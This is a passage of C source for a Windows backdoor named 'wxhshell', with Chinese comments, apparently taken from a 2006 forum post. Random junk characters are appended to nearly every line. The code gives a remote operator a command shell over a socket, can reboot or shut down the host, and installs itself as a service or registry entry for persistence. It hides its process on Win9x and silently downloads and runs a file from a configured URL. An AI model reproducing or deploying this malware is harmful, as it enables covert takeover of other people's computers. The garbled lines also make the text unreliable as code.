    switch(cmd[0]) { D&D-E~b^  
  y]uBVn'u  
  // 帮助 Z OqD.=O(  
  case '?': { P&*e\"{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lN*"?%<x>  
    break; M`?ATmYy  
  } !y3XIbdS"  
  // 安装 dlwOmO'Bm)  
  case 'i': { 72= 4#  
    if(Install()) ,E2c9V'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e4;h*IQK  
    else b6@0?_n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,8stEp9~h]  
    break; {&nDm$KTD  
    } 5IbCE.>iU  
  // 卸载 p@wtT"Y  
  case 'r': { )O>M~  
    if(Uninstall()) l=47#zbpZ]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xo{z4W  
    else =P,pW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xN6}4JB  
    break; ?&POVf>  
    } R  xc  
  // 显示 wxhshell 所在路径 DK|/|C}6  
  case 'p': { M[L@ej  
    char svExeFile[MAX_PATH]; g>{t>B%v^K  
    strcpy(svExeFile,"\n\r"); i1!Y {  
      strcat(svExeFile,ExeFile); kE1k@h#/  
        send(wsh,svExeFile,strlen(svExeFile),0); H^g&e$d0  
    break; srH.$Y;~  
    } o)H| #9h5  
  // 重启 vX$|/74  
  case 'b': { #,OiZQJC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jK2gc^"t  
    if(Boot(REBOOT))  9-y<= )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rd|^C$6  
    else { >n%ckL|rG  
    closesocket(wsh); \4uj!LgTb  
    ExitThread(0); u89Q2\z~"M  
    } @`HW0Y_:  
    break; 3C2~heO>|  
    } j{H IdP  
  // 关机 6`5DR~  
  case 'd': { Nb\B*=4AR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;p:CrFv  
    if(Boot(SHUTDOWN)) %/RT}CBBsW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R)%I9M,  
    else { 3&B- w  
    closesocket(wsh); r`PD}6\  
    ExitThread(0); @y,>cDg  
    } >vNE3S_  
    break; ty8E;[ '  
    } cY.5z:7u~v  
  // 获取shell 'Kd-A:K2g  
  case 's': { I%CrsEo  
    CmdShell(wsh); |43Oc:Ah+  
    closesocket(wsh); {ApjOIxk  
    ExitThread(0); #}[NleTVt  
    break; 8B6 -f:  
  } l$C Y gm  
  // 退出 #m3!U(Og`  
  case 'x': { Pe` jNiI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =@MJEo`D  
    CloseIt(wsh); i_p-|I:hQ  
    break; LPkl16yZ  
    } 7~VDk5Z6  
  // 离开 c=p!2jJ1K~  
  case 'q': { % ejq|i7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P3TM5  
    closesocket(wsh); )%HIC@MM6  
    WSACleanup(); M} Mgz  
    exit(1); *Z3b6X'e  
    break; B\+uRiD8w  
        } MZ>Q Rf  
  } Bx|h)e9  
  } [NbW"Y7  
|]b,% ?,U  
  // 提示信息 5e&;f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fD%20P`.  
} V2$M`|E  
  } )oZ2,]us!  
i>(TPj|  
  return; 5JS*6|IbD{  
} uz;eY D  
N: 5 N}am  
// shell模块句柄 Fp>nu_-"  
int CmdShell(SOCKET sock) J@qLBe(v  
{ mcxD#+H 3  
STARTUPINFO si;  =sk#`,,:  
ZeroMemory(&si,sizeof(si)); Nwk^r75lq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uS! V_]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]N:Wt2  
PROCESS_INFORMATION ProcessInfo; M0%nGpVj>  
char cmdline[]="cmd"; ?h,.1Tb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %I@ vMs^  
  return 0; A| y U'k  
} -0<ZN(?|  
xsU3c0wbr8  
// 自身启动模式 _AH_<Z(  
int StartFromService(void) CW+gZ!  
{ #It!D5A  
typedef struct @)@tIhw  
{ Y[W] YPs  
  DWORD ExitStatus; }$s QmR R  
  DWORD PebBaseAddress; oslj<  
  DWORD AffinityMask; *E-MJCv  
  DWORD BasePriority; X,D ]S@  
  ULONG UniqueProcessId; yGH')TsjD  
  ULONG InheritedFromUniqueProcessId; _WI~b  
}   PROCESS_BASIC_INFORMATION; :N'   
M%s!qC+  
PROCNTQSIP NtQueryInformationProcess; e1hf{:&/G@  
L+0:'p=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .I%B$eH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +^*b]"[  
4G RHvA.  
  HANDLE             hProcess; ^=qV)j  
  PROCESS_BASIC_INFORMATION pbi; ::@JL  
S KGnx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rw?wlBEG%  
  if(NULL == hInst ) return 0; Wj, {lJ,  
pqe%tRH{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zt 1nH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m; PTO$--  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qJw\<7m  
MPLeqk$;  
  if (!NtQueryInformationProcess) return 0; *=77|Dba  
.:tR*Kst`7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1U ='"  
  if(!hProcess) return 0; [5Zi\'~UH)  
<ILi38%Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m`jGBSlw_  
?28)l 4 Ml  
  CloseHandle(hProcess); jEK{47i v  
Z1wfy\9c8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l s%'\}  
if(hProcess==NULL) return 0; J$-1odL0Z  
@== "$uRw  
HMODULE hMod; ~O 4@b/!4  
char procName[255]; B9'2$s+Z;  
unsigned long cbNeeded; ZT+{8,  
.[Ny(X/]/}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $=Tq<W*c  
NC|VZwQtm  
  CloseHandle(hProcess); lLEEre  
d!"gb,ec  
if(strstr(procName,"services")) return 1; // 以服务启动 " pL5j  
qnO/4\qq  
  return 0; // 注册表启动 ~-~iCIaTb  
} jjg&C9w T  
q\Z9.T+Qo  
// 主模块 Ub[UB%(T  
int StartWxhshell(LPSTR lpCmdLine) nDNK}O~'  
{ vQ[ Tc V  
  SOCKET wsl; ictOC F  
BOOL val=TRUE; cN)noGkp  
  int port=0; ~:-V<r,pe  
  struct sockaddr_in door; XL(2Qk  
'JAe =K H  
  if(wscfg.ws_autoins) Install(); `Vh&XH\S  
TaZlfe5z  
port=atoi(lpCmdLine); a(x#6  
+sXnC\  
if(port<=0) port=wscfg.ws_port; 2F:X:f  
u<HJFGLzI  
  WSADATA data; Sbj{)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '@#l/9  
-i4hJC!3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mm N $\2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yI's=Iu`  
  door.sin_family = AF_INET; 4*Z>-<W=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ),0Ea~LB4  
  door.sin_port = htons(port); &tw{d DD6  
|tO.@+[uqP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QW&@>i  
closesocket(wsl); mMad1qCi7  
return 1; T7*p! 0  
} 6!RK Zj)  
QB7^8O!<  
  if(listen(wsl,2) == INVALID_SOCKET) { ~uJO6C6A  
closesocket(wsl); $HV`bJ5!L*  
return 1; Y>K3.*.  
} 6)9X+U@  
  Wxhshell(wsl); 8FBXdk?A  
  WSACleanup(); =7zvp,B  
<:~'s]`zf  
return 0; qox@_  
lUHpGr|U%  
} Y^ ,G} &p  
6CzN[R}  
// 以NT服务方式启动 /x&52~X5-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "C]_pWk  
{ :UDe\zcd "  
DWORD   status = 0; 9K#U<Q0b'  
  DWORD   specificError = 0xfffffff; wU5= '  
"@&I*1&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N#vV;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [1.>9ngj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h?&S*)1  
  serviceStatus.dwWin32ExitCode     = 0; S d]`)  
  serviceStatus.dwServiceSpecificExitCode = 0; $:*/^)L  
  serviceStatus.dwCheckPoint       = 0; B6]M\4v  
  serviceStatus.dwWaitHint       = 0; MJ`BlE,Fmb  
yv.(Oy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6s&%~6J,  
  if (hServiceStatusHandle==0) return; *7!*kq g!u  
= k>ygD_  
status = GetLastError(); I$1~;!<  
  if (status!=NO_ERROR) Ec|5'Kz]  
{ Kv6#WN~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \ dZD2e4  
    serviceStatus.dwCheckPoint       = 0; `Z~\&r=  
    serviceStatus.dwWaitHint       = 0; *qL"&h5W  
    serviceStatus.dwWin32ExitCode     = status; {#uf#J|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~(d#T|ez  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h%(0|  
    return; sBWLgJz?C  
  } /mFa*~dj2  
EyPF'|Qtn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mj-B;r  
  serviceStatus.dwCheckPoint       = 0; GbbD)  
  serviceStatus.dwWaitHint       = 0; u7ER  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NW@guhK.  
} **lT ' D  
uOnyU+fZV  
// 处理NT服务事件,比如:启动、停止 wU bLw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~:lN("9OI  
{ _.$g?E/(  
switch(fdwControl) 7Ys\=W1  
{ 5nJmabw3  
case SERVICE_CONTROL_STOP: $sR-J'EE!  
  serviceStatus.dwWin32ExitCode = 0; X |X~|&j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xw[|$#QKM  
  serviceStatus.dwCheckPoint   = 0; ]{'lV~fc  
  serviceStatus.dwWaitHint     = 0; 5$p7y:  
  { @+ U++  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]R  s  
  } b py576GwA  
  return; \3v}:E+3  
case SERVICE_CONTROL_PAUSE: ITu5Y"x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l:rT{l=8*  
  break; ImVHX~ qHJ  
case SERVICE_CONTROL_CONTINUE: ISl-W1u}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 74q |FQ  
  break; 4w-P%-4  
case SERVICE_CONTROL_INTERROGATE: p-;I"uKv  
  break; -?&s6XA%#  
}; &WGG kn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BSib/)p   
} 2 .)`8|c9  
*wetPt)~v_  
// 标准应用程序主函数 FlQ(iv)P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \@i4im@%xU  
{ 8o4?mhqV  
nofK(0TF  
// 获取操作系统版本 |ydOi&  
OsIsNt=GetOsVer(); H%AC *,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UjI -<|  
(77EZ07%  
  // 从命令行安装 !Cv:,q  
  if(strpbrk(lpCmdLine,"iI")) Install(); R7xEE7p  
zgh~P^Z  
  // 下载执行文件 ai,Nx:r   
if(wscfg.ws_downexe) { R8<'m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k^Q>  
  WinExec(wscfg.ws_filenam,SW_HIDE); EsR$H2"  
} rWo&I _{  
BCtm05  
if(!OsIsNt) { =(Ll}V,  
// 如果时win9x,隐藏进程并且设置为注册表启动 z1u1%FwOfM  
HideProc(); a9CK4Kg  
StartWxhshell(lpCmdLine); DNN60NX 5Q  
} ?QXc,*=N  
else vtS [Tkk|A  
  if(StartFromService()) R%Y#vUmBV{  
  // 以服务方式启动 M)1? $'Aq  
  StartServiceCtrlDispatcher(DispatchTable); X^;LiwQv  
else RC| t-(Z  
  // 普通方式启动 aA5rvP +  
  StartWxhshell(lpCmdLine); /Ky xOb)  
,:e##g~k  
return 0; jg_##Oha  
}
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只看该作者 1 发表于: 2006-10-10
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